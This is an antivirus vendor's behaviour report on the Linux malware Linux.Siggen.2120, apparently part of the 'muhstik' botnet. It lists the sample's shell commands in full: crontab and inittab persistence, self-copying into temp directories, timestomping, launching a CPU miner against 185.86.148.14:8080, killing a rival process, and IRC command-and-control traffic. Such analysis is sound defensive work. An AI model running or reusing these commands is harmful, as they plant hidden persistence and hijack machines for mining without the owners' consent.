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Linux.Siggen.2120

Aggiunto al database dei virus Dr.Web: 2019-08-26

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/inittab
  • /var/spool/cron/crontabs/root
  • /etc/rc.local
Malicious functions:
Substitutes application name for:
  • abri6iei4theleuic1mo04hc
Modifies router settings:
  • /bin/nvram
Launches processes:
  • sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
  • sh -c crontab -r
  • sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • crontab -r
  • cat /etc/inittab
  • grep -v <SAMPLE_FULL_PATH>
  • crontab -l
  • grep <SAMPLE_FULL_PATH>
  • sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
  • crontab -
  • sh -c cat /etc/inittab2 > /etc/inittab
  • cat /etc/inittab2
  • sh -c rm -rf /etc/inittab2
  • rm -rf /etc/inittab2
  • sh -c touch -acmr /bin/ls /etc/inittab
  • touch -acmr /bin/ls /etc/inittab
  • sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • sh -c /bin/uname -n
  • sh -c nvram get router_name
  • /bin/uname -n
  • cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"* * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /dev/shm/<SAMPLE>
  • grep /dev/shm/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep -v /var/tmp/<SAMPLE>
  • grep /var/tmp/<SAMPLE>
  • sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(md5sum /tmp/ini | grep -q 52fc30e30d6f1f4dcf6550fc9ae48b74) && (/tmp/ini -o 185.86.148.14:8080 -u x -p x -B --max-cpu-usage=99 > /dev/null 2>&1 &)
  • sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;kill -9 `ps -x | grep watchbog | grep -v grep | awk {'print $1'}`
  • sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;chmod +x /tmp/baste; chmod 700 /tmp/baste; /tmp/baste &
  • md5sum /tmp/ini
  • grep -q 52fc30e30d6f1f4dcf6550fc9ae48b74
  • chmod +x /tmp/baste
  • ps -x
  • grep watchbog
  • grep -v grep
  • awk {print $1}
  • sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
  • chmod 700 /tmp/baste
  • /tmp/baste
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep /var/lock/<SAMPLE>
  • grep -v /var/lock/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
  • sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep /var/run/<SAMPLE>
  • grep -v /var/run/<SAMPLE>
  • sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.g3AL8H
  • /var/spool/cron/crontabs/tmp.48DlLv
  • /var/spool/cron/crontabs/tmp.hnH40n
  • /var/spool/cron/crontabs/tmp.jqnaSV
  • /var/spool/cron/crontabs/tmp.OmCbz6
Creates or modifies files:
  • /tmp/.bawtz
  • /etc/inittab2
  • /var/spool/cron/crontabs/tmp.g3AL8H
  • /dev/shm/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.48DlLv
  • /var/tmp/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.hnH40n
  • /var/lock/<SAMPLE>
  • /run/lock/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.jqnaSV
  • /var/run/<SAMPLE>
  • /run/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.OmCbz6
Deletes files:
  • /etc/inittab2
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:59000
Establishes connection:
  • <LOCAL_DNS_SERVER>
Connects to the following servers over the IRC protocol:
  • Server: 18#.#2.137.56; Command: NICK i586|WEBM|0|9817124|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
  • Server: 18#.#2.137.56; Command: PONG :5A41F9E4\n
  • Server: 18#.#2.137.56; Command: MODE i586|WEBM|0|9817124|unknown -xi\n
  • Server: 18#.#2.137.56; Command: JOIN #webm :8974\n
  • Server: 18#.#2.137.56; Command: WHO i586|WEBM|0|9817124|unknown\n
  • Server: 18#.#2.137.56; Command: NOTICE M :\n
DNS ASK:
  • w.######hland-zahlung.net
Other:
Collects CPU information
Collects RAM information

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